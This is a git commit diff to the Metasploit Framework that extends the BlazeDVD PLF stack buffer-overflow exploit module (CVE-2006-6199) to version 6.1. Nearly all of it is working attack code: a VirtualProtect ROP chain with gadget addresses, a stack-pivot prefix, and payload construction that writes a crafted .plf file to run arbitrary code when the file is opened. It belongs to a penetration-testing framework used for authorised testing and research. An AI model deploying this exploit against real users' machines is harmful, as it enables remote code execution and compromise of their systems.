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metasploit-framework
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Added target 6.1 to module

bug/bundler_fix
Ken Smith 2014-04-11 09:59:11 -04:00
parent 1cb1d4d5ff
commit c99f6654e8
1 changed files with 77 additions and 19 deletions
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96
modules/exploits/windows/fileformat/blazedvd_plf.rb
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@ -12,36 +12,58 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow',
'Name' => 'BlazeDVD 6.1 PLF Buffer Overflow',
'Description' => %q{
This module exploits a stack over flow in BlazeDVD 5.1. When
This module exploits a stack over flow in BlazeDVD 5.1 and 6.1. When
the application is used to open a specially crafted plf file,
a buffer is overwritten allowing for the execution of arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Author' =>
[
'MC',
'Deepak Rathore',
'Spencer McIntyre',
'Ken Smith'
],
'References' =>
[
[ 'CVE' , '2006-6199' ],
[ 'OSVDB', '30770'],
[ 'EDB', '32737' ],
[ 'OSVDB', '30770' ],
[ 'BID', '35918' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
'BadChars' => "\x00\x0a\x1a",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
[ 'BlazeDVD 6.1',
{
'Payload' =>
{
# Stackpivot => add esp,0xfffff254
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
}
}
],
[ 'BlazeDVD 5.1',
{
'Ret' => 0x100101e7,
'Payload' =>
{
'EncoderType' => Msf::Encoder::Type::AlphanumUpper
}
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 03 2009',
@ -49,22 +71,58 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),
], self.class)
end
def rop_chain
# rop chain generated with mona.py - www.corelan.be
case target.name
when 'BlazeDVD 6.1'
rop_gadgets = [ ]
# 0x6162e802 RETN (ROP NOP) [EPG.dll]
rop_gadgets.fill(0x6162e802, 0..7)
rop_gadgets += [
0x6411437d, # POP EAX # RETN [NetReg.dll]
0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
0x6033d910, # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
0x640402b3, # POP EBP # RETN [MediaPlayerCtrl.dll]
0x60335935, # & PUSH ESP # RETN 0C [Configuration.dll]
0x6032b8bb, # POP EAX # RETN [Configuration.dll]
0xfffffcff, # Value to negate, will become 0x00000301
0x61627d9c, # NEG EAX # RETN [EPG.dll]
0x61640124, # XCHG EAX,EBX # RETN [EPG.dll]
0x6403bb48, # POP EAX # RETN [MediaPlayerCtrl.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6403a1b7, # NEG EAX # RETN [MediaPlayerCtrl.dll]
0x64046c72, # XCHG EAX,EDX # RETN [MediaPlayerCtrl.dll]
0x6403c973, # POP ECX # RETN [MediaPlayerCtrl.dll]
0x1001514c, # &Writable location [SkinScrollBar.Dll]
0x6403a94d, # POP EDI # RETN [MediaPlayerCtrl.dll]
0x6162e802, # RETN (ROP NOP) [EPG.dll]
0x64106f33, # POP EAX # RETN [NetReg.dll]
0x90909090, # nop
0x6031d582, # PUSHAD # RETN [Configuration.dll]
]
end
return rop_gadgets.flatten.pack("V*")
end
def exploit
plf = rand_text_alpha_upper(6024)
plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')
plf[876,12] = make_nops(12)
plf[888,payload.encoded.length] = payload.encoded
case target.name
when 'BlazeDVD 5.1'
plf = rand_text_alpha_upper(6024)
plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')
plf[876,12] = make_nops(12)
plf[888,payload.encoded.length] = payload.encoded
when 'BlazeDVD 6.1'
plf = rand_text_alphanumeric(260)
plf << rop_chain
plf << payload.encoded
end
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(plf)
end
end